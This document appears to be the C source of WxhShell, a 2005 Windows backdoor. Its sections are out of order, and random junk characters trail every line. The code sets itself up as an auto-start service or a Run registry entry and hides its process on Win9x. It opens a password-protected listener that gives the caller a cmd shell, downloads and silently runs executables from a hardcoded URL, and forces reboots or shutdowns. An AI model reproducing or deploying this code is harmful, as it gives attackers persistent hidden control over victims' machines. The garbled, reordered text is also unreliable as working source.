    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%ct   
    else { V?^qW#AG  
    closesocket(wsh); w > GW  
    ExitThread(0); 3kGg;z6  
    } W}D[9zo/  
    break; {*CG&-k2D  
    } BBX/&d8n  
  // 获取shell suhnA(T{  
  case 's': { Ux" ^3D  
    CmdShell(wsh); CP"5E?dcK  
    closesocket(wsh); GpXf).a@  
    ExitThread(0);  r?0w5I  
    break; P*?2+.  
  } r SoT]6/   
  // 退出 x?0(K=h,  
  case 'x': { d9e~><bPJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j/T@-7^0  
    CloseIt(wsh); T=V{3v@zs  
    break; $[cB6  
    } fIx|0,D&7L  
  // 离开 h;} fdk  
  case 'q': { ZZ!6O/M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \KpJIHkBRy  
    closesocket(wsh); <$uDN].T4  
    WSACleanup(); si]MQ\i+  
    exit(1); E:\#Ur2  
    break; SU7,uxF  
        } xK1w->[  
  } A~?)g!tS<  
  } E'8XXV^I?P  
1T~`$zS7  
  // 提示信息  d*([!!i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Td^62D;  
} id`9,IJx  
  } v) K|{x  
n~w[ajC/  
  return; D2MIV&pahP  
} :u@ w ;  
v,rKuvc'  
// shell模块句柄 /!"sPtIh  
int CmdShell(SOCKET sock) yQu/({D  
{ 98zJ?NaD&  
STARTUPINFO si; ]4*E:  
ZeroMemory(&si,sizeof(si)); e *D,2>o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Z~@/OVc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pa|*Jcr  
PROCESS_INFORMATION ProcessInfo; Uul5h8F  
char cmdline[]="cmd"; 6_9@s*=d>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m9 D*I1  
  return 0; ky]L`w  
} ]wbV1Y"  
3<a|_(K  
// 自身启动模式 r:U<cL T[9  
int StartFromService(void) mv*M2NuhT  
{ KUq(&H7  
typedef struct ^\VVx:]  
{ ]nxSVKE4p  
  DWORD ExitStatus; '2<N_)43$  
  DWORD PebBaseAddress; }b<w\9AF  
  DWORD AffinityMask; fE>JoQs38  
  DWORD BasePriority; \4OU+$m  
  ULONG UniqueProcessId; h2+"e# _  
  ULONG InheritedFromUniqueProcessId; gIGi7x  
}   PROCESS_BASIC_INFORMATION; KAr5>^<zw  
4>HQ2S{t  
PROCNTQSIP NtQueryInformationProcess; O6q5qA  
VF<VyWFC0`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R\6dvd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mLHl]xs4  
,;h}<("q  
  HANDLE             hProcess; E.x<J.[Y  
  PROCESS_BASIC_INFORMATION pbi; e:QH3|'y  
j2hp*C'^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gb^'u  
  if(NULL == hInst ) return 0;  `7V'A  
^NxKA'oWQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fzjtaH?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7zNfq.Ni~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /5f=a  
cdL0<J b,  
  if (!NtQueryInformationProcess) return 0; |Yi_|']#  
&c= 3BEh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4%jQHOZ  
  if(!hProcess) return 0; !,DA`Yt  
Qz<i{r-z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jq/CXYv  
JWxSN9.X  
  CloseHandle(hProcess); ae+*gkPv8  
J@q!N;eh|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #\LYo{op/.  
if(hProcess==NULL) return 0; KM oDcAjH  
Ht~YSQ~:y  
HMODULE hMod; A(JgAV1{  
char procName[255]; Qer}eg`R  
unsigned long cbNeeded; gp^xl>E  
)Y=ti~?M(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J>0RN/38o  
OK:YnSk"  
  CloseHandle(hProcess); t1o_x}z4.  
3`njQvI\  
if(strstr(procName,"services")) return 1; // 以服务启动 [5P1 pkZ  
&:=[\Ws R  
  return 0; // 注册表启动 //}KWz  
} OV7SLf  
n*eqM2L  
// 主模块 x{ VUl  
int StartWxhshell(LPSTR lpCmdLine) %cq8%RT  
{ 5pxw[c53#  
  SOCKET wsl; ~/Kqkhq+c  
BOOL val=TRUE;  pm*i!3g'  
  int port=0; H<3a yp$  
  struct sockaddr_in door; TzV~I\a|  
iB{l:  
  if(wscfg.ws_autoins) Install(); Q2t>E(S  
s#(<zBZ9p#  
port=atoi(lpCmdLine); 69``j{Z+  
|OBZSk1jp  
if(port<=0) port=wscfg.ws_port; <d3 a  
"A}2iI  
  WSADATA data; p xQh;w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >6z7.d  
]Mgxv>zRbs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h]^= y.Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =#?=Lh  
  door.sin_family = AF_INET; E@)9'?q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]7%+SH,RdD  
  door.sin_port = htons(port); -lI6!a^  
$w! v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t&(\A,ch%  
closesocket(wsl); N6/;p]|  
return 1; wg KM6?  
} $"{I| UFC  
n'<F'1SWv  
  if(listen(wsl,2) == INVALID_SOCKET) { b5UIX Kim  
closesocket(wsl); g;</|Z  
return 1; pIvr*UzY  
} {9h`h08?z  
  Wxhshell(wsl); RV6|sN[x>  
  WSACleanup(); @?[}\9dW  
D~f[Rg  
return 0; -Rr Qv(  
M_#^zo "x  
} S(5&%}QFQ  
f:/"OCig  
// 以NT服务方式启动 7V;wCm#b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >L88`  
{ 9*xv ,Yz8  
DWORD   status = 0; -T.C?Q g  
  DWORD   specificError = 0xfffffff; Ccy0!re  
axiP~t2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G/_9!lE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1(m[L=H5>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nvj KB)J  
  serviceStatus.dwWin32ExitCode     = 0; xayd_RB9  
  serviceStatus.dwServiceSpecificExitCode = 0; :@sjOY  
  serviceStatus.dwCheckPoint       = 0; TM`6:5ONv  
  serviceStatus.dwWaitHint       = 0; w?A6S-z  
p!p:LSk"/b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ~&Y%yN^  
  if (hServiceStatusHandle==0) return; JcI~8;Z@Z~  
Zl=IZ?F   
status = GetLastError(); 'FmnlC1  
  if (status!=NO_ERROR) 6kHb*L Je  
{ #s|/5[i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >I *uo.OF  
    serviceStatus.dwCheckPoint       = 0; 4[f>kY%[  
    serviceStatus.dwWaitHint       = 0; }FT8 [m<  
    serviceStatus.dwWin32ExitCode     = status; ~#9(Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; !l#n.Fx&3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6^hCW`jG  
    return; ](sT,'  
  } ?H(']3X5@  
=s h]H$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?89 _2W  
  serviceStatus.dwCheckPoint       = 0; :P2 0g](  
  serviceStatus.dwWaitHint       = 0; mu&%ph=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N#4"P: Sv  
} '645Fr[lg  
WRfhxl  
// 处理NT服务事件,比如:启动、停止 3^p;'7x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]ZM-c~nL  
{ |j~{gfpSE  
switch(fdwControl) 7& G#&d  
{ v L!?4k  
case SERVICE_CONTROL_STOP: f!+G1z}iA  
  serviceStatus.dwWin32ExitCode = 0; ]sV) '-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CC{{@  
  serviceStatus.dwCheckPoint   = 0; $Rv (v%  
  serviceStatus.dwWaitHint     = 0; 8z'_dfP=5  
  { ? EXYLG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )w&k&TY4H  
  } 8YwSaBwO  
  return; 2f7]= snCG  
case SERVICE_CONTROL_PAUSE: z Ud{9B$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z Feo8S  
  break; / WJ+e  
case SERVICE_CONTROL_CONTINUE: R7~#7qKQB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -4nSiI  
  break; J:Ncy}AO  
case SERVICE_CONTROL_INTERROGATE: s2iL5N|"Q  
  break; @}iY(-V  
}; B>,&{ah/5J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fd/.\s  
}  wA7^   
%L eZd}v  
// 标准应用程序主函数 EiWsVic[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .]H1uoci|  
{ 2vx1M6a)L  
! )PV-[2  
// 获取操作系统版本 AWn$od`#s  
OsIsNt=GetOsVer(); 4]%v%6 4U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); },(Ln%M  
kC4}@{4i  
  // 从命令行安装 m #}%l3$  
  if(strpbrk(lpCmdLine,"iI")) Install(); (SGU]@)g  
rk .tLk  
  // 下载执行文件  Vq K/GWg  
if(wscfg.ws_downexe) { yUp"%_t0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S 0L"5B@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0dKi25J  
} xRPU GGv  
]J>{ZL   
if(!OsIsNt) { `u7"s'  
// 如果时win9x,隐藏进程并且设置为注册表启动 JN:EcVuy  
HideProc(); e!JC5Al7  
StartWxhshell(lpCmdLine); c 6Z\ecH9  
} m(?ZNtBQt  
else {|ChwM\x  
  if(StartFromService()) PcK;L(  
  // 以服务方式启动 a.!|A(zw  
  StartServiceCtrlDispatcher(DispatchTable); Y;OqdO  
else g6 Nw].{  
  // 普通方式启动 z;d]=PT  
  StartWxhshell(lpCmdLine); P]b * hC  
:*MqYny&  
return 0; =& .KKr  
} zOzobd   
^jxV  
3iC$ "9!p  
?*h 2:a$  
=========================================== &m J +#vT  
<qpDAz4k  
ap[{`u  
j9G1  _  
a2tRmil  
:`w'}h7m  
" lyYi2& %  
C/L+gU&  
#include <stdio.h> 7xr@$-U  
#include <string.h> w;Jby  
#include <windows.h> ;)nV  
#include <winsock2.h> ~xSAR;8  
#include <winsvc.h> ollk {N  
#include <urlmon.h> sq~9 l|F  
A:-r 2;xB  
#pragma comment (lib, "Ws2_32.lib") quEP"  
#pragma comment (lib, "urlmon.lib") L 2k?Pl  
<5wk~|@t  
#define MAX_USER   100 // 最大客户端连接数 <B %s9Zy  
#define BUF_SOCK   200 // sock buffer =Pu;wx9  
#define KEY_BUFF   255 // 输入 buffer xOAA1#   
]&mN~$+C  
#define REBOOT     0   // 重启 uO,9h0y0W  
#define SHUTDOWN   1   // 关机 E,nxv+AQ  
50l! f7  
#define DEF_PORT   5000 // 监听端口 ,-GkP>8f(  
Ja@zeD)f"  
#define REG_LEN     16   // 注册表键长度 wQV[ZfU^h  
#define SVC_LEN     80   // NT服务名长度 CMI V"-  
Sb;=YW 1<  
// 从dll定义API 8r46Wr7Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |)pRkn8x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #-*#? -  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0~:Eo89  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z:2a_A tm  
8UahoNrSt  
// wxhshell配置信息 r%^l~PN  
struct WSCFG { Gec?  
  int ws_port;         // 监听端口 ^[]@dk9  
  char ws_passstr[REG_LEN]; // 口令 ~dFdO7  
  int ws_autoins;       // 安装标记, 1=yes 0=no !8 V  
  char ws_regname[REG_LEN]; // 注册表键名 yK3b^  
  char ws_svcname[REG_LEN]; // 服务名 6|-V{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hhU: nw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s.p4+K J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <HC5YA)4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w#!^wN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zc n/LF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XFiP8aX<  
&=-ZNWNo  
}; qlJzXq{|`  
(WISf}[l;  
// default Wxhshell configuration z9B" "ws  
struct WSCFG wscfg={DEF_PORT, bkvm-$/  
    "xuhuanlingzhe", ^-&BGQM  
    1, :p@.aD5  
    "Wxhshell", &Oih#I  
    "Wxhshell", VoTnm   
            "WxhShell Service", bz1+AJG  
    "Wrsky Windows CmdShell Service", ZHWxU  
    "Please Input Your Password: ", PqJB&:ZV  
  1, yDil  
  "http://www.wrsky.com/wxhshell.exe", d}Y\; '2,  
  "Wxhshell.exe" aGR!T{`   
    }; Uf ?._&:  
&I|\AG"X}  
// 消息定义模块 'wg>=|Q5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6` 8H k;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s IE2a0+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V8Fp1?E9S  
char *msg_ws_ext="\n\rExit."; YcaomPo  
char *msg_ws_end="\n\rQuit."; `Q@w*ta)  
char *msg_ws_boot="\n\rReboot..."; .T63:  
char *msg_ws_poff="\n\rShutdown..."; S /kM#  
char *msg_ws_down="\n\rSave to "; 4*D'zJsJ  
r+D ?_Lk  
char *msg_ws_err="\n\rErr!"; OtVRhR3>  
char *msg_ws_ok="\n\rOK!"; ]27  
)43\qIu\  
char ExeFile[MAX_PATH]; Y_gMoo  
int nUser = 0; @BfJb[A#  
HANDLE handles[MAX_USER]; :< d.  
int OsIsNt; l 10p'9 n  
g5OKhL0u  
SERVICE_STATUS       serviceStatus; x%!Ea{ s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O?=YY@j  
2I@d=T{K  
// 函数声明 $5]}]  
int Install(void); 2I|`j^  
int Uninstall(void); c;13V(Djy  
int DownloadFile(char *sURL, SOCKET wsh); bih%hqny  
int Boot(int flag); +QZ}c@'r  
void HideProc(void); H:k?#7D(  
int GetOsVer(void); yZ:AJNb  
int Wxhshell(SOCKET wsl); ,l47;@kr  
void TalkWithClient(void *cs); Sf>#Zqj/  
int CmdShell(SOCKET sock); $0mR_pA\fW  
int StartFromService(void); .DX-biX,  
int StartWxhshell(LPSTR lpCmdLine); x@)G@'vV|  
JH|]B|3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @7? O#WmL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xt .ca,`U  
#hZ`r5GvTj  
// 数据结构和表定义 7G \a5  
SERVICE_TABLE_ENTRY DispatchTable[] = vH?rln  
{ j&Trvw<t  
{wscfg.ws_svcname, NTServiceMain}, {O=PVW2S  
{NULL, NULL} #aua6V!"  
}; z8@[]6cW  
K7-z.WTUR  
// 自我安装 8)o%0#;0B  
int Install(void) {M^BY,%*  
{ [KMNMg  
  char svExeFile[MAX_PATH]; w:VD[\h  
  HKEY key; +L,V_z  
  strcpy(svExeFile,ExeFile); +7KRoF|  
 ;H4s[#K  
// 如果是win9x系统,修改注册表设为自启动 !\}X?G f  
if(!OsIsNt) { B" 0a5-pkr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N*`qsv 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H,3WdSL`K  
  RegCloseKey(key); K0usBA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rHa*WA;TE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z @21Z`,  
  RegCloseKey(key); L+X:M/)  
  return 0; )vsX (/WU  
    } <0!O'" "J  
  } YctWSfh  
} SYd6D@^2j  
else { I !J'  
jf^BEz5  
// 如果是NT以上系统,安装为系统服务 EvKzpxCh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X=KC +1e  
if (schSCManager!=0) W8_$]}G8E  
{ sx n{uRF  
  SC_HANDLE schService = CreateService !kS/Ei  
  ( |pG%]?A  
  schSCManager, .nzN5FB U  
  wscfg.ws_svcname, %X BMi ~  
  wscfg.ws_svcdisp, ^~;"$=Wf  
  SERVICE_ALL_ACCESS, 7|PB6h3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cSTF$62E  
  SERVICE_AUTO_START, (6*  
  SERVICE_ERROR_NORMAL, yu>o7ie+;Y  
  svExeFile, !$hi:3{U ,  
  NULL, I<rT\':9  
  NULL, P?ms^   
  NULL, 4Ql9VM%y  
  NULL, #:NY9.\o  
  NULL EeR}34  
  ); =<%[P9y  
  if (schService!=0) }a%1$>sj  
  { GO)5R,  
  CloseServiceHandle(schService); $Jo4n>/  
  CloseServiceHandle(schSCManager); ph$ vP;}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bO` S Bq$  
  strcat(svExeFile,wscfg.ws_svcname); @h9QfJ_f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DF>3)oTF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SLW|)Q24  
  RegCloseKey(key); {2)).g  
  return 0; h343$,))u  
    } 2FcNzAaV  
  } brX[-  
  CloseServiceHandle(schSCManager); 5ZX  
} +BVY9U?\"  
} E/zclD5S  
6f:uAFwG  
return 1; #g/m^8n?s  
} \10KIAQ  
Z(XohWe2  
// 自我卸载 3 "iBcsLn  
int Uninstall(void) "AP$)xM-:  
{ )Dp0swJ  
  HKEY key; CTS1."kx1  
q B IekQT  
if(!OsIsNt) { RGL2S]UFs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fx-8mf3  
  RegDeleteValue(key,wscfg.ws_regname); Z2t\4|wr:  
  RegCloseKey(key); f`)*bx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #W&o]FAA3y  
  RegDeleteValue(key,wscfg.ws_regname); npd:aGx  
  RegCloseKey(key); *M)M!jTv  
  return 0; }K5okxio  
  } 6e8 gFQ"w2  
} .DI?-=p|_#  
} osl\j]U8  
else { 2qot(Zs1i  
K3Bw3j 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e#)NYcr6  
if (schSCManager!=0) P{x6e/  
{ %Z p|1J'"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gj?$HFa  
  if (schService!=0) 6?Kl L [~  
  {  !TivQB  
  if(DeleteService(schService)!=0) { Sn0kJIb }  
  CloseServiceHandle(schService);  l5 ]  
  CloseServiceHandle(schSCManager); T%;V_iW-  
  return 0; `{|w*)mD  
  } 5DDSo0E  
  CloseServiceHandle(schService); SK#&%Yk  
  } \%7fm#z6  
  CloseServiceHandle(schSCManager); Y]7503J  
} ,kf.'N  
} ^|SiqE  
3vKTCHbk9  
return 1; 8ok=&Gq4  
} /z_]7]  
KIcIYCBz  
// 从指定url下载文件 &=x4M]t9L  
int DownloadFile(char *sURL, SOCKET wsh) "X^<g{]  
{ R*!s'R  
  HRESULT hr; , /%'""`w  
char seps[]= "/"; E%DT;1  
char *token; @gfW*PNjlP  
char *file; KzP{bK5/  
char myURL[MAX_PATH]; yQ$]`hr;  
char myFILE[MAX_PATH]; b"Q8[k |d  
``P9fd  
strcpy(myURL,sURL); 4g"%?xN  
  token=strtok(myURL,seps); <zL_6Y2  
  while(token!=NULL) t,Ka] /I  
  { )A xD|A  
    file=token; /OWwC%tM/  
  token=strtok(NULL,seps); Pmo<t6  
  } m$_b\^we  
N[e,%heR  
GetCurrentDirectory(MAX_PATH,myFILE); 4qz+cB_  
strcat(myFILE, "\\"); @lF?+/=$  
strcat(myFILE, file); 6^WNwe\  
  send(wsh,myFILE,strlen(myFILE),0); YR*gO TD  
send(wsh,"...",3,0); _FYA? d}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q~b# ml2QS  
  if(hr==S_OK) /wLGf]0  
return 0; 9xO@_pkX  
else (^35cj{s  
return 1; HWsV_VAw}  
VaY#_80$s  
} ~t~[@2?WG  
mpug#i6q  
// 系统电源模块 zQ |2D*W  
int Boot(int flag) DPjs? M<  
{ Ig t*8px  
  HANDLE hToken; Ba@~:  
  TOKEN_PRIVILEGES tkp; J<;io!  
1oej<67PdJ  
  if(OsIsNt) { n82tZpn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :31_WJ^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?!P0UTe~  
    tkp.PrivilegeCount = 1; 9L:wfg}8s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W|m(Jh[w]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >) u;X  
if(flag==REBOOT) { B{`adq?pW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Z:FY|'s  
  return 0; \jwG*a  
} c$ !?4z_.  
else { B18BwY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /=S@3?cQAB  
  return 0; bE/|&8  
} S-S%IdL  
  } `s}L3bR]  
  else { |@u2/U9  
if(flag==REBOOT) { G0UaE1n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ] #@:VR  
  return 0; ?Ts]zO%%Z  
} ks0Q+YW  
else { &))d],tJX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /P*XB%y  
  return 0; wuH*a3(  
} KSPa2>lz?  
} |reA`&<q  
H%O\4V2s  
return 1; V1]GOmXz  
} L;RE5YrH%6  
)XDBK* !  
// win9x进程隐藏模块 YRlfU5  
void HideProc(void) KEOk%'c,  
{ .7.lr[$g  
 `Eh>E,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); teJt.VA7)  
  if ( hKernel != NULL ) 7\6g>4J^`  
  { [A7TSN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l;iU9<~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mH$tG $  
    FreeLibrary(hKernel); <Q~N9W  
  } r @4A% ql<  
7%Y`j/  
return; +-j-)WU?,  
} V'&;r'#O  
D5lQ0_IeW  
// 获取操作系统版本 VvyRZMR  
int GetOsVer(void) tP@NQCo  
{ i//H5D3  
  OSVERSIONINFO winfo; \ASt&'E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y"mFUW4  
  GetVersionEx(&winfo); Keh=>K)T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >5 -1?vi  
  return 1; kEDpF26!  
  else duG3-E  
  return 0; (bb!VVA  
} *]]Zpa6  
E{orezP  
// 客户端句柄模块 'dKfXYY1`N  
int Wxhshell(SOCKET wsl) +l7)7qKx  
{ l(Rn=?  
  SOCKET wsh; 4-yK!LR  
  struct sockaddr_in client; 1,fR kQ  
  DWORD myID; r^~+ <"  
6$R9Y.s>Z  
  while(nUser<MAX_USER) = -2~>B  
{ <,M"kF:  
  int nSize=sizeof(client); 1p}Wj*mc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `MU~N_  
  if(wsh==INVALID_SOCKET) return 1; cU6*y!}9  
nQiZ6[L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iJzBd7  
if(handles[nUser]==0) 4C*ywP  
  closesocket(wsh); e$~[\ w  
else T?7u [D[[  
  nUser++; Hm2Y% 4i%  
  } >jI.$%L$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C8-7XQ=B:b  
IbI0".o  
  return 0; yqx5_}  
} u9!  ?  
@"7S$@cO  
// 关闭 socket 9nG^_.}|  
void CloseIt(SOCKET wsh) yD3}USw  
{ ` g]  
closesocket(wsh); !l%:   
nUser--; oqJ Ybim  
ExitThread(0); "`% ,l|D  
} 3x[C pg,  
+bznKy!  
// 客户端请求句柄 U,#~9  
void TalkWithClient(void *cs) tpJA~!mG3  
{ tl 0|.Q,  
hE&6;3">  
  SOCKET wsh=(SOCKET)cs; es)^^kGj6f  
  char pwd[SVC_LEN]; tkj-.~@g0'  
  char cmd[KEY_BUFF];  >. K  
char chr[1]; >5FTB e[D  
int i,j; MfL7|b)  
~Gfytn9x.;  
  while (nUser < MAX_USER) { 2VN].t:  
hZJ~zx~  
if(wscfg.ws_passstr) { ray3gM%JLj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -#ZLu.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *`H*@2  
  //ZeroMemory(pwd,KEY_BUFF); pAy4%|(  
      i=0; r!Eh}0bL  
  while(i<SVC_LEN) { OijuOLt  
h3@tZL#g  
  // 设置超时 ~q ^o|?  
  fd_set FdRead; OFtaOjsyUa  
  struct timeval TimeOut; jqaX|)8|$  
  FD_ZERO(&FdRead); m'"r<]pB*4  
  FD_SET(wsh,&FdRead); MJGT|u8O&  
  TimeOut.tv_sec=8; _LaG%* R6  
  TimeOut.tv_usec=0; 3x;UAi+&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cUR :a @  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~(R=3  
5 bI :xL}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5MnP6(3$  
  pwd=chr[0]; l2Sar1~1  
  if(chr[0]==0xd || chr[0]==0xa) { JQ%hh&M\0  
  pwd=0; cACIy yQ  
  break; KL_ /f   
  } !y d B,S  
  i++; d0>U-.  
    } ce;7  
HP8J\`  
  // 如果是非法用户,关闭 socket r XJx~ g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8B G Z  
} <U3X4)r  
@vl$[Z|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !8G)` '  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Gt{9#  
a 8k2*u  
while(1) { V}s/knd  
_.JQ h   
  ZeroMemory(cmd,KEY_BUFF); L3%frIUd  
{xZY4b2  
      // 自动支持客户端 telnet标准   B/ 4M;G~  
  j=0; 0b{jox\!B  
  while(j<KEY_BUFF) { ps<E f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XM:BMd|  
  cmd[j]=chr[0]; "L~Oj&AN[  
  if(chr[0]==0xa || chr[0]==0xd) { bLg!LZ|S0s  
  cmd[j]=0; U"r*kO%  
  break; _WZx].|A=  
  } g7zl5^o3j  
  j++; 1 m'.wh|  
    } )-4c@  
Xe_ <]|  
  // 下载文件 D)PX|xrn  
  if(strstr(cmd,"http://")) { E*YmHJ:k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B=cA$620  
  if(DownloadFile(cmd,wsh)) Ic0Sb7c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /GgID!8  
  else <O+GXJ2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jF?0,g  
  } )]fiyXA  
  else { q1VKoKb6\:  
T ~xVHk1  
    switch(cmd[0]) { (u 7Lh>6%  
  <SNr\/aCRi  
  // 帮助 *F( qg%1+  
  case '?': { 'UX^]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c[-N A  
    break; .s<0}<Aq>  
